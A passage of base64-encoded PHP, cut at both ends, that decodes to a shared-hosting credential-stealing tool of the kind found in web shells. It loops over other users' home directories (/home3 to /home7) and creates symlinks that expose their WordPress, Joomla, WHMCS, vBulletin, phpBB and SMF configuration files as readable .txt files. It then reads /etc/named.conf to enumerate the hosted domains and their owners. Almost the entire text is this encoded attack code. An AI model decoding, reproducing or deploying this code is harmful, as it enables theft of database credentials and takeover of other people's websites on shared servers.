xpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7DQoJfQ0KDQoJCQkJJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQoJCQ0KCQkJCWlmKCRkMG1haW5zKQ0KCQkJCXsNCgkJCQkJbWtkaXIoJGZuKTsNCgkJCQkJY2hkaXIoJGZuKTsNCgkJCQkJCQkJCQkNCgkJCQkJZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKQ0KCQkJCQl7DQoJCQkJCQlpZihlcmVnaSgiem9uZSIsJGQwbWFpbikpDQoJCQkJCQl7DQoJCQkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7DQoJCQkJCQkJZmx1c2goKTsNCgkJCQkJCQkJDQoJCQkJCQkJaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpDQoJCQkJCQkJeyANCgkJCQkJCQkJJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZ